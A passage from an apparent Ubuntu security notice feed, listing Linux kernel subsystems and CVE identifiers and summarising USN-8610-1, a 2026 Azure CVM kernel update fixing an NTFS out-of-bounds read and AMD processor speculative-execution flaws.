architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - ACPI drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - RNBD block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clocksource drivers; - Data acquisition framework and drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - DMA engine subsystem; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Power supply drivers; - RapidIO drivers; - Remote Processor subsystem; - RPMSG subsystem; - SCSI subsystem; - Freescale SoC drivers; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - Framebuffer layer; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - JFS file system; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - UDF file system; - XFS file system; - Audit subsystem; - RAS (Reliability, Availability, Serviceability) subsystem; - Memory Management; - KVM subsystem; - Memory management; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Network traffic control; - Bluetooth subsystem; - MAC80211 subsystem; - Netfilter; - IP tunnels definitions; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - Kernel module support; - Scheduler infrastructure; - Cryptographic library; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Networking core; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - FireWire sound drivers; - HD-audio driver; - AudioScience HPI driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - SoC audio core drivers; - STI ASoC drivers; - USB sound devices; (CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116, CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863, CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006, CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)

USN-8610-1: Linux kernel (Azure CVM) vulnerabilities

Fri, 24 Jul 2026 14:17:33 +0200

Maxim Suhanov discovered that the NTFS file system implementation in the Linux kernel did not properly validate file name length in certain situations, leading to an out-of-bounds read. An attacker could use this to construct a malicious NTFS image that, when mounted and operated on, could expose sensitive information (kernel memory). (CVE-2023-45896) It was discovered that some AMD processors did not properly clear data in the floating point divider unit during speculative execution. A local attacker could use this to expose sensitive information. (CVE-2025-54505) It was discovered that some AMD Zen 2 processors did not properly isolate shared resources in the operation cache. A local attacker could possibly use this issue to corrupt instructions executed at a higher privilege level, resulting in privilege escalation. (CVE-2025-54518) Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM32 architecture; - ARM64 architecture; - MIPS architecture; - PowerPC architecture; - S390 architecture; - x86 architecture; - Block layer subsystem; - Cryptographic API; - ACPI drivers; - ATM drivers; - Drivers core; - Power management core; - DRBD Distributed Replicated Block Device drivers; - RNBD block device driver; - Bluetooth drivers; - Bus devices; - Character device driver; - TPM device driver; - Clocksource drivers; - Data acquisition framework and drivers; - CPU frequency scaling framework; - CPU idle management framework; - Hardware crypto device drivers; - DMA engine subsystem; - Arm Firmware Framework for ARMv8-A(FFA); - EFI core; - GPIO subsystem; - GPU drivers; - HID subsystem; - Hardware monitoring drivers; - I2C subsystem; - IIO subsystem; - IIO ADC drivers; - InfiniBand drivers; - Input Device (Miscellaneous) drivers; - IOMMU subsystem; - Mailbox framework; - Multiple devices driver; - Media drivers; - MediaTek SMI driver; - NVIDIA Tegra memory controller driver; - Multifunction device drivers; - IBM Advanced System Management driver; - MMC subsystem; - MTD block device drivers; - Network drivers; - Ethernet bonding driver; - Mellanox network drivers; - Microsoft Azure Network Adapter (MANA) driver; - STMicroelectronics network drivers; - MediaTek network drivers; - Near Field Communication (NFC) drivers; - NTB driver; - NVDIMM (Non-Volatile Memory Device) drivers; - NVME drivers; - PCI subsystem; - Pin controllers subsystem; - x86 platform drivers; - Broadcom BCM2835 power domain driver; - Power supply drivers; - RapidIO drivers; - Remote Processor subsystem; - RPMSG subsystem; - SCSI subsystem; - Freescale SoC drivers; - Texas Instruments SoC drivers; - SPI subsystem; - Greybus lights staging drivers; - Media staging drivers; - Realtek RTL8723BS SDIO drivers; - SM750 framebuffer staging driver; - TCM subsystem; - TTY drivers; - UFS subsystem; - Cadence USB3 driver; - USB Device Class drivers; - ULPI bus; - USB core drivers; - DesignWare USB2 driver; - USB Gadget drivers; - USB Host Controller drivers; - Mustek MDC800 USB digital camera driver; - USB YUREX driver; - Renesas USBHS Controller drivers; - Framebuffer layer; - Xen hypervisor drivers; - File systems infrastructure; - BTRFS file system; - Ceph distributed file system; - EROFS file system; - Ext4 file system; - F2FS file system; - FAT file system; - FUSE (File system in Userspace); - GFS2 file system; - HFS+ file system; - JFS file system; - Network file system (NFS) server daemon; - NILFS2 file system; - File system notification infrastructure; - NTFS3 file system; - OCFS2 file system; - Proc file system; - Pstore file system; - Diskquota system; - SMB network file system; - SquashFS file system; - UDF file system; - XFS file system; - Audit subsystem; - RAS (Reliability, Availability, Serviceability) subsystem; - Memory Management; - KVM subsystem; - Memory management; - PPP protocol drivers and compressors; - Linux Security Modules (LSM) Framework; - Network traffic control; - Bluetooth subsystem; - MAC80211 subsystem; - Netfilter; - IP tunnels definitions; - Tracing infrastructure; - User-space API (UAPI); - io_uring subsystem; - BPF subsystem; - Control group (cgroup); - Kernel fork() syscall; - Kernel futex primitives; - Kernel kexec() syscall; - Kernel module support; - Scheduler infrastructure; - Cryptographic library; - KASAN memory debugging framework; - Asynchronous Transfer Mode (ATM) subsystem; - B.A.T.M.A.N. meshing protocol; - Ethernet bridge; - CAIF protocol; - CAN network layer; - Ceph Core library; - Networking core; - Distributed Switch Architecture; - IPv4 networking; - IPv6 networking; - XFRM subsystem; - L2TP protocol; - Management Component Transport Protocol (MCTP); - Multipath TCP; - NCSI (Network Controller Sideband Interface) driver; - NFC subsystem; - Open vSwitch; - Phonet protocol; - Qualcomm IPC Router (QRTR); - RDS protocol; - RF switch subsystem; - Rose network layer; - RxRPC session sockets; - SCTP protocol; - SMC sockets; - Stream parser; - Sun RPC protocol; - TIPC protocol; - TLS protocol; - Unix domain sockets; - VMware vSockets driver; - Wireless networking; - X.25 network layer; - eXpress Data Path; - AppArmor security module; - Simplified Mandatory Access Control Kernel framework; - ALSA framework; - FireWire sound drivers; - HD-audio driver; - AudioScience HPI driver; - Creative Sound Blaster X-Fi driver; - AMD SoC Alsa drivers; - SoC audio core drivers; - STI ASoC drivers; - USB sound devices; (CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116, CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863, CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006, CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562, CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748, CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103, CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256, CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161, CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235, CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, 